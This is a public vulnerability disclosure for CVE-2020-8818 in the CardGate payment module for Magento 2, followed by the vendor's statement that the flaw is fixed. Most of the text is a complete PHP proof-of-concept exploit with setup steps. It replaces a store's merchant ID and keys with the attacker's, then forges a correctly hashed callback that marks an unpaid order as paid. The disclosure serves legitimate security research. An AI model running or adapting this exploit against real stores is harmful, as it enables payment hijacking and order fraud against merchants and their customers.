Public disclosure on CVE-2020-8818 [Unauthorized Payments Hijacking + Order Status Spoofing]

[633kh4ck]

CVE-2020-8818

Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store).

Vulnerable code (fixed in PR #53)

magento2/Controller/Payment/Callback.php

Lines 88 to 107 in 715979e

	if (!empty($get['cgp_sitesetup']) && !empty($get['token'])) {
	try {
	$bIsTest = ($get['testmode'] == 1 ? true : false);
	$aResult = $this->_cardgateClient->pullConfig($get['token'], $bIsTest);
	$aConfigData = $aResult['pullconfig']['content'];
	$this->_cardgateConfig->setGlobal( 'testmode', $aConfigData['testmode'] );
	$this->_cardgateConfig->setGlobal( 'site_id', $aConfigData['site_id'] );
	$this->_cardgateConfig->setGlobal( 'site_key', $aConfigData['site_key'] );
	$this->_cardgateConfig->setGlobal( 'api_username', $aConfigData['merchant_id'] );
	$this->_cardgateConfig->setGlobal('api_password', $this->encryptor->encrypt($aConfigData['api_key'] ));
	$typeListInterface = ObjectManager::getInstance()->get( \Magento\Framework\App\Cache\TypeListInterface::class );
	$typeListInterface->cleanType('config');
	$sResponse = $this->_cardgateConfig->getGlobal('api_username') . '.' . $this->_cardgateConfig->getGlobal('site_id') . '.200';
	return $this->getResponse()->setBody($sResponse);
	} catch (\Exception $e) {
	return $this->getResponse()->setBody($e->getMessage());
	}
	}

Affected versions: ≤ 2.0.30
Tested on: Magento 2.3.4 + CardGate Payment Gateway Module 2.0.30

Proof-of-Concept

<?php
/*
  Usage:

  1. Change values of the constants (see below for TARGET & ORDER*)
  2. Host this script somewhere (must be public accessible)
  3. Register a merchant at https://cardgate.com
  4. Sign into "My CardGate" dashboard
  5. Add fake site or choose existing one
  6. Click "Setup your Webshop" button in site preferences
  7. Paste the URL of this script into the pop-up window and click "Save"
  8. The target store now uses the settings of your site, enjoy :]

  P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop.
*/

// -------- Options (start) --------
define('TARGET', 'http://domain.tld'); // without trailing slash, pls
define('ORDER', '000000001'); // provide non-zero value to automagically spoof order status
define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection)
define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above)
define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional)
// --------- Options (end) ---------

define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/');
define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/');

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sToken_ 
 * @param bool $bTestmode_ 
 * @return string
 */
function pullConfig($sToken_, $bTestmode_ = FALSE) {
	if (!is_string($sToken_)) {
		throw new Exception('invalid token for settings pull: ' . $sToken_);
	}

	$sResource = "pullconfig/{$sToken_}/";
	$sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource;

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_URL, $sUrl);
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_HTTPHEADER, [
		'Content-Type: application/json',
		'Accept: application/json'
	]);
	if ($bTestmode_) {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);
	} else {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2);
	}

	if (FALSE == ($sResults = curl_exec($rCh))) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}
	if (NULL === ($aResults = json_decode($sResults, TRUE))) {
		throw new Exception('remote gave invalid JSON: ' . $sResults);
	}
	if (isset($aResults['error'])) {
		throw new Exception($aResults['error']['message']);
	}

	return $aResults;
}

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sUrl 
 * @param array $aData_ 
 * @param string $sHttpMethod_ 
 * @return string
 */
function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') {
	if (!in_array($sHttpMethod_, ['GET', 'POST'])) {
		throw new Exception('invalid http method: ' . $sHttpMethod_);
	}

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);

	if ('POST' == $sHttpMethod_) {
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
		curl_setopt($rCh, CURLOPT_POST, TRUE);
		curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_));
	} else {
		$sUrl = $sUrl
			. (FALSE === strchr($sUrl, '?') ? '?' : '&')
			. http_build_query($aData_)
		;
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
	}

	$response = curl_exec($rCh);
	if (FALSE == $response) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}

	return $response;
}

if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) {
	try {
		$aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']);
		$aConfigData = $aResult['pullconfig']['content'];
		$response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET');
		if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') {
			if (ORDER) {
				$payload = [
					'testmode' => $_REQUEST['testmode'],
					'reference' => ORDER,
					'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)),
					'currency' => ORDER_CURRENCY,
					'amount' => ORDER_AMOUNT * 100,
					'status' => 'success',
					'code' => 200,
					'pt' => ORDER_PAYMENT_TYPE
				];
				$payload['hash'] = md5(
					(!empty($payload['testmode']) ? 'TEST' : '')
					. $payload['transaction']
					. $payload['currency']
					. $payload['amount']
					. $payload['reference']
					. $payload['code']
					. $aConfigData['site_key']
				);
				$response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET');
				if ($response == $payload['transaction'] . '.' . $payload['code']) {
					die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
				} else {
					throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)");	
				}
			} else {
				die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
			}
		} else {
			throw new Exception("It seems target is not vulnerable ($response)");
		}
	} catch (\Exception $oException_) {
		die(htmlspecialchars($oException_->getMessage()));
	}
}

[cardgate]

CardGate would like to thank Vladislav Svolsky @633kh4ck for pointing out this vulnerability to us and allowing us the time to implement a fix before this public disclosure.
Because we have also made changes on the gateway, it is no longer possible to exploit this vulnerability.
This also applies to all our extensions with versions <= 2.0.30, so all existing implementations are now no longer vulnerable.

The basic problem was located in a function to automatically configure the webshop plugin with the push of a button in the CardGate back office.
We would like to emphasise that this convenience functionality is now only supported for the latest plugin version and will not work for earlier versions.